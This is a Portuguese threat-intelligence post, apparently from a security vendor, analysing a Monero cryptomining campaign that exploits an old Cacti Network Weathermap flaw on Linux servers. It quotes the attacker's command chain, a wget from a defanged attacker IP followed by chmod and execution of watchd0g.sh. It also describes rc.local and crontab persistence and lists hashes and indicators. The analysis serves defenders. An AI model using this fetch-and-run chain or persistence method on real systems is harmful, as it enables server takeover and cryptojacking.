Operações de mineração de criptomoedas legítimas e em grande escala muitas vezes investem em hardware dedicados e consumo de energia elétrica para obter lucro. Isso não foge à atenção dos cibercriminosos: a mineração maliciosa de criptomoedas foi tão abrangente no ano passado que se tornou o evento com o maior número de detecções em dispositivos conectados à roteadores domésticos.
Através do nosso monitoramento de tratamento de incidentes pudemos observar tentativas de invasão cujos indicadores conseguimos correlacionar a uma campanha anterior de mineração de criptomoedas que usava o malware JenkinsMiner. A diferença: essa campanha é focada em servidores Linux. É também um caso clássico de reutilização de vulnerabilidades, pois explora uma falha de segurança bem antiga, cuja correção está disponível há quase cinco anos.
Análise da cadeia de ataque
Os operadores dessa campanha exploravam a CVE-2013-2618, uma vulnerabilidade antiga no plug-in Network Weathermap do Cacti, que os administradores de sistema usam para visualizar a atividade de rede. Com relação ao motivo que os leva a explorar uma falha de segurança antiga: O Network Weathermap tem apenas duas vulnerabilidades reportadas publicamente até o momento, ambas em junho de 2014. É possível que esses criminosos se aproveitem não apenas de uma falha de segurança com um exploit prontamente disponível, mas também da demora para aplicar as correções em organizações que usam a ferramenta de código aberto.
Como visto acima, podemos constatar que:
- A parte desfocada é o servidor/entrada web do alvo.
- O arquivo /plugins/weathermap/configs/conn.php php é o arquivo persistente , resultante do cross-site scripting (XSS) no /plugins/weathermap/php.
- Os alvos ideais são servidores web do Linux (embora o Cacti e o plug-in também possam ser instalados no Windows).
Além do conn.php inicial, observamos uma solicitação HTTP similar em uma página denominada ‘cools.php’:
Como visto acima, os comandos abaixo seriam executados:
- wget watchd0g.sh hxxp://222[.]184[.]]79[.]11:5317/watchd0g[.]sh
//baixa o arquivo através do wget, uma ferramenta padrão na maioria dos sistemas Linux - chmod 775 watchd0g.sh
// torna o arquivo executável - ./watchd0g.sh
// por fim, torna o arquivo executável
O arquivo watchd0g.sh inclui o seguinte código:
O código é escrito em /etc/rc.local, o que significa que toda vez que um sistema é reiniciado, o watchd0g.sh é executado. A alteração do /etc/crontab faz com que o watchd0g.sh seja executado a cada três minutos. Em seguida, ele altera o parâmetro do kernel do Linux vm.nr_hugepages para o valor recomendado para mineração do Monero (XMR). Além disso, ele também se certifica de que o processo do watchd0g.sh seja executado, baixe e execute novamente o arquivo, caso seja fechado.
Seu principal objetivo é baixar outro arquivo, dada.x86_64, (detectado pela Trend Micro como COINMINER_MALXMR.SM-ELF64) do mesmo servidor em que o watchd0g.sh foi recuperado.
Análise do minerador XMRig do Linux
O payload final (dada.x86_64 em 28 de janeiro de 2018, antes conhecida como xig ou nkrb) é um minerador XMRig modificado. O XMRig é um minerador XMR legítimo e de código aberto com várias versões atualizadas que suporta os sistemas operacionais Windows e Linux de 32 bits e 64 bits. O XMRig exibe o seguinte código quando executado através da linha de comando:
O XMRig deve ser executado junto com um arquivo de configuração chamado ‘config.json’, ou com parâmetros que especificam/exigem detalhes como o algoritmo a ser usado (CryptoNight/CryptoNight-Lite), o uso máximo da CPU, o servidor de mineração e as credenciais de login (carteira e senha do Monero). As amostras usadas neste ataque foram modificadas para tornar a configuração ou os parâmetros desnecessários. Tudo já está embutido no código. A linha de comando também não aparece na maioria das amostras.
Seguindo as pegadas do Monero
Reunimos cinco amostras possíveis que nos levaram a dois nomes exclusivos de login de usuários, correspondentes à carteira do Monero para as quais os pagamentos do pool de mineração são enviados.
Os atacantes mineraram cerca de 320 XMR ou cerca de US$74.677 (em 21 de março de 2018) com base nas duas carteiras. Tenha em mente que isso é apenas uma pequena parte do lucro de toda esta campanha. Os relatórios anteriores da mesma campanha revelaram US$3 milhões de XMR de uma única carteira do Monero.
Conclusão e mitigação
A cadeia de ataque da campanha requer o seguinte:
- Um servidor da Web executando o Linux (x86-64), considerando os ELFs personalizados do Minerador XMRig de 64 bits.
- O servidor da web deve estar publicamente acessível
- O Cacti (uma ferramenta de monitoramento de rede e de código aberto com base na web) precisou ser implementado com o Plugin Architecture em funcionamento e com um Network Weathermap desatualizado (0.97a e versões anteriores)
- O servidor Web que hospeda o Cacti não requer autenticação para acessar o recurso do site
- Para uma execução perfeita, o servidor web deve executar permissões ‘root’ (ou equivalentes) (alguns dos comandos em sh precisam de privilégios de root)
Esses dois primeiros requisitos são comuns, mas os três últimos nem tanto. Por que alguém compartilharia os dados de rede publicamente (Cacti)? O servidor da web é realmente executado como ‘root’?
Os dados do Cacti devem ser armazenados devidamente e de forma interna no ambiente. A exposição desses dados representa um enorme risco em termos de segurança operacional. Embora isso permita que os administradores de sistema ou de rede monitorem seus ambientes de forma conveniente (com apenas um marcador de navegador, por exemplo), ele também faz o mesmo com os agentes de ameaça. Há alternativas que fazem a mesma coisa, mas são necessárias contramedidas para reforçar e proteger os sistemas contra falhas de segurança ou exploração. Claro que manter os sistemas atualizados com as correções mais recentes (ou usando correções virtuais para sistemas/redes legados) também pode dificultar ainda mais os potenciais ataques.
Uma estratégia proativa de tratamento de incidentes, incluindo buscar e tratar ativamente ameaças também ajuda a fornecer mais visibilidade aos ataques que poderiam ser ignorados por soluções tradicionais de segurança. Identificar as técnicas também ajuda as organizações com inteligência acionável que pode ajudar a criar benchmarks mais fortes para o tratamento.
O Trend Micro™ Deep Discovery™ fornece uma detecção e análise profunda e tratamento proativo de ataques que usam exploits e outras ameaças similares através de ferramentas especializadas e personalizadas de sandboxing e uma correlação perfeita durante todo o ciclo de vida do ataque, possibilitando a detecção desses ataques mesmo sem qualquer atualização do mecanismo ou padrão. O Trend Micro™ Deep Discovery Inspector™ protege os clientes contra esse ataque por meio dessas regras de DDI:
- Regra DDI ID 2452: Wget Commandline Injection
O Trend Micro™ Deep Security e o Vulnerability Protection protege usuários contra ameaças que visam essas vulnerabilidades (ou usam ataques de XSS) através das seguintes regras de DPI:
- 1005934 – Ataque Identificado de Injeção de Comando Suspeito
- 1006823 – Ataque Identificado de Injeção de Comando Suspeito – 1
- 1000552 – Prevenção Genérica de Cross Site Scripting (XSS)
Os clientes do Trend Micro™ TippingPoint™ são protegidos dessa ameaça através do filtro MainlineDV:
- 3886: HTTP: Cross Site Scripting na Solicitação POST
Indicadores de Falha de Segurança
A Trend Micro também identificou os seguintes endereços IP perpetrando o ataque. No entanto, a natureza das máquinas indica que podem ser controladas remotamente, portanto, não valeria a pena incluí-las em listas de controlo (blacklisting). Nossa pesquisa também nos levou a uma possível ferramenta escrita em Python que foi usada nesta campanha, usando o agente de usuário HTTP ‘python-requests/2.18.4’.
Hashes Relacionados:
SHA256 | Descrição |
4a70da8ad6432d7aa639e6c5 e0c03958eebb3728ef89e74c 028807dd5d68e2b4 |
Bourne-Again shell script ASCII text executable |
0adadc3799d06b35465107f9 8c07bd7eef5cb842b2cf09eba eaa3773c1f02343 |
ELF de 64 bits com LSB executável x86-64 versão 1 (GNU/Linux) intérprete vinculado dinamicamente /lib64/ld-linux-x86-64.so.2 para GNU/Linux 2.6.32 BuildID[sha1]=7b9059fbf5f223af2bf1d 83251d640e0f60bbe00 stripped |
d814bf38f5cf7a58c3469d530 d83106c4fc7653b6be079fc2a 6f73a36b1b35c6 |
ELF de 64 bits com LSB executável x86-64 versão 1 (GNU/Linux) intérprete vinculado dinamicamente /lib64/ld-linux-x86-64.so.2 para GNU/Linux 2.6.32 BuildID[sha1]=5722b052bfd047b57ec37 10dd948bfc9ee7d7316 stripped |
7f30ea52b09d6d9298f4f30b8 045b77c2e422aeeb84541bb5 83118be2425d335 |
ELF de 64 bits com LSB executável x86-64 versão 1 (GNU/Linux) intérprete vinculado dinamicamente /lib64/ld-linux-x86-64.so.2 para GNU/Linux 2.6.32 BuildID[sha1]=9bc00ee0d5261d8bb29 b753b8436a1c54bd19c94 stripped |
690aea53dae908c9afa933d6 0f467a17ec5f72463988eb5af 5956c6cb301455b |
ELF de 64 bits com LSB executável x86-64 versão 1 (SYSV) intérprete vinculado dinamicamente /lib64/ld-linux-x86- 64.so.2 para GNU/Linux 2.6.18 stripped |
1155fae112da3072d116f39e9 0f6af5430f44f78638db3f43a6 2a9037baa8333 |
ELF de 64 bits com LSB executável x86-64 versão 1 (SYSV) intérprete vinculado dinamicamente /lib64/ld-linux-x86- 64.so.2 para GNU/Linux 2.6.18 stripped |
2c7b1707564fb4b228558526 163249a059cf5e90a6e946be 152089f0b69e4025 |
ELF de 64 bits com LSB executável x86-64 versão 1 (SYSV) intérprete vinculado dinamicamente /lib64/ld-linux-x86- 64.so.2 para GNU/Linux 2.6.18 stripped |
48cf0f374bc3add6e3f73f6db4 66f9b62556b49a9f7abbcce06 8ea6fb79baa04 |
ELF de 64 bits com LSB executável x86-64 versão 1 (SYSV) intérprete vinculado dinamicamente /lib64/ld-linux-x86- 64.so.2 para GNU/Linux 2.6.18 stripped |
Endereços de IP e URLs relacionados ao Minerador XMRig malicioso/modificado:
- 222[.]184[.]79[.]11
- bbc[.]servehalflife[.]com
- 190[.]60[.]206[.]11
- 182[.]18[.]8[.]69
- jbos[.]7766[.]org
- 115[.]231[.]218[.]38
Atualizado em 21 de março de 2018, às 17h50, PDT, para incluir dados atualizados na Figura 2.